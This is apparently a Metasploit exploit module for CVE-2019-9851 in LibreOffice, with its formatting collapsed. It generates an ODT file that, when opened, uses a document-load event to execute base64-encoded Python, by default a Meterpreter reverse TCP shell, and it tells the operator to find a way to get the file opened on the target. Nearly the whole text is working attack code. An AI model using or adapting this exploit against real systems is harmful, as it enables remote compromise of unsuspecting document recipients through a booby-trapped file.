### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,'Name'=> 'LibreOffice Macro Python Code Execution','Description' => %q{
LibreOffice comes bundled with sample macros written in Python and
allows the ability to bind program events to them.
LibreLogo is a macro that allows a program event to execute text as Python code, allowing RCE.
This module generates an ODT file with a dom loaded event that,
when triggered, will execute arbitrary python code and the metasploit payload.},'License' => MSF_LICENSE,'Author'=>
['Nils Emmerich',# Vulnerability discovery and PoC'Shelby Pace',# Base module author (CVE-2018-16858), module reviewer and platform-independent code'LoadLow',# This msf module'Gabriel Masei'# Global events vuln. disclosure],'References'=>
[['CVE','2019-9851'],['URL','https://www.libreoffice.org/about-us/security/advisories/cve-2019-9848/'],['URL','https://www.libreoffice.org/about-us/security/advisories/cve-2019-9851/'],['URL','https://insinuator.net/2019/07/libreoffice-a-python-interpreter-code-execution-vulnerability-cve-2019-9848/']],'DisclosureDate'=> '2019-07-16','Platform'=> 'python','Arch'=> ARCH_PYTHON,'DefaultOptions'=> {'Payload' => 'python/meterpreter/reverse_tcp'},'Targets' => [['Automatic',{}]],'DefaultTarget' =>0
))
register_options([
OptString.new('FILENAME',[true,'Output file name','librefile.odt']),
OptString.new('TEXT_CONTENT',[true,'Text written in the document. It will be html encoded.','My Report']),])end
def gen_file
text_content = Rex::Text.html_encode(datastore['TEXT_CONTENT'])
py_code = Rex::Text.encode_base64(payload.encoded)
@cmd = "exec(eval(str(__import__('base64').b64decode('#{py_code}'))))"
@cmd = Rex::Text.html_encode(@cmd)
fodt_file = File.read(File.join(Msf::Config.data_directory,'exploits','CVE-2019-9848','librefile.erb'))
libre_file = ERB.new(fodt_file).result(binding())
print_status("File generated! Now you need to move the odt file and find a way to send it/open it with LibreOffice on the target.")
libre_file
rescue Errno::ENOENT
fail_with(Failure::NotFound,'Cannot find template file')end
def exploit
fodt_file = gen_file
file_create(fodt_file)endend
